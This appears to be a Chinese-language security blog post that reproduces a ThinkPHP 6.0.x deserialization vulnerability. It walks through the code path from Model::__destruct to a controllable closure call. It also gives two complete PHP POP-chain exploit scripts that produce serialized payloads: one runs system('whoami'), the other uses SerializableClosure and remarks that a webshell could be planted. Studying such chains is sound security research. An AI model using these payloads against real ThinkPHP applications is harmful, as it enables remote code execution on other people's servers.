tp6.0.x 反序列化漏洞
tp6 反序列化漏洞复现
环境
tp6.0 apache php7.3
漏洞分析
反序列化漏洞需要存在 unserialize() 作为触发条件，修改入口文件
app/controller/Index.php
访问localhost/tp6.0/public/index.php/index/jiang出现phpinfo；
全局搜索 __destruct
可利用的在/vendor/topthink/think-orm/src/Model.php 里
跟进$this->save()
去看一下 setAttrs 方法
public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
public function setAttr(string $name, $value, array $data = []): void
{
if (……) {
……
} else {
// 检测修改器
$method = 'set' . Str::studly($name) . 'Attr';
if (method_exists($this, $method)) {
$array = $this->data;
//注意这里可以调用动态函数，执行命令，但是上面对 method 进行字符串拼接
$value = $this->$method($value, array_merge($this->data, $data));
}
这里是不通的，继续往下审计，
跟进 $this->updateDate()
检查数据之后获取有更新的数据，这两个函数可以用来绕过下面的的 if 语句
后面构造pop的时候再细说。
跟进检查允许字段$this->checkAllowFields()
跟进 $this->db
注意这个字符串拼接符号$this->name . $this->suffix ，__toString的触发方式，除了字符串拼接的方式，还可以利用PHP自带函数参数的强制转换，上一篇的复现是用到php 自带函数的强制类型转换。
全局搜索 __toString,芜湖，来到了熟悉的conversion类里
跟进__toArray
前面的遍历先不看，跟进 getAttr()
先看返回值 的 $this->getValue
这里的
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
注意看这里，我们是可以控制$this->withAttr的，那么就等同于控制了$closure
可以作为动态函数，执行命令。根据这个点，我们来构造pop。
从__destruct开始
一开始 我们需要 控制 $this->lazySave变量为真，然后进入的 save()方法，需要执行$this->updateDate不能被 提前return，去看 is_Empty() , trigger()方法，
public function isEmpty(): bool
{
return empty($this->data);
//FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
//$this->data 可控，设置非空的数组就好。
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
//!$this->withEvent 可控
return true;
}
且还需要 $this->exists 为真 ，这个参数也是可控的。
进入 $this->updateData 方法后，我们需要程序执行到 $this->checkAllowFields() 在此之前同样不能被return
跟进 getChangedData()
我们希望 data 不改变，所以就令 $this->force 为真。
$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true
这里解释一下为什么把他们写在一起呢？
因为
model 类是复用了 trait 类 的，可以访问其属性，和方法。Model 类 是抽象类，不能被实例化，所以我们还需要找到其子类。
Pivot 类就是我们需要找的类。
到这里我们成功执行到了 $this->checkAllowFields()，还得进入 $this->db()
$this->field 为空，$this->schema 也为空。初始就是空数组，所以我们不做处理。
现在进入到 $this->db() 里。
将$this->name 或 $this->suffix设置为含有__toString的类对象就可以触发此魔术方法。
但是这里有意思的是，我们需要触发 __toString 的类 是 conversion 类 而这个类是 trait类，
而当前的model类是 复用了 conversion类的，所以我们相当于重新调用一遍 Pivot 类。也就是重新调用一下自己，触发自己的的__toString方法。这个操作在buuoj上的一道题目中遇到过。
再接着就是 toJson toArray ，前面两个foreach 不做处理，再下来这个foreach会进入最后一个if分支，调用getAttr方法。这个foreach 是遍历 $this->data ，然后将 $data 的$key传入
getAttr
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
进入getAttr 方法，这里的$name 是 $key
跟进getData
跟进getRealFieldName()
$this->strict `默认值为True 所以 `$fieldName = $key
然后 返回的$value值就是 $this->data[$key]。
最后return $this->getValue($key, $this->data[$key], $relation)
进入 getValue()
同理，这里的$fieldName 就是 $key 然后 我们设置一下$this->withAttr[$fieldName]的值，进入if(``isset($this->withAttr[$fieldName])) 分支。进行命令执行。
pop链
<?php
namespace think\model\concern;
trait Attribute{
private $data=['jiang'=>'whoami'];
private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
成功执行
$value = $closure($value, $this->data);
这个动态函数的参数有两个 第一个是 $data 的 $value 第二个就是 $data 数组。
phpinfo(-1),只可以传入一个参数，导致执行错误。由于参数的限制，所以我们尝试另一种方法。
也就是树哥wp里写的方法，是利用tp自带的SerializableClosure调用
\Opis\Closure\SerializableClosure
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data);// 参数不用管，无影响。
修改上面的pop
<?php
namespace think\model\concern;
trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();};//可写马，测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];
$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));
?>
这个方法搞了一下午，算是整明白了，虽然 tp6 有自带的SerializableClosure
但是我需要构造pop，所以就要自行下载 \Opis\Closure\
链接： https://github.com/opis/closure
使用方法可参照上述exp。
如有问题还请指出，欢迎分享骚姿势。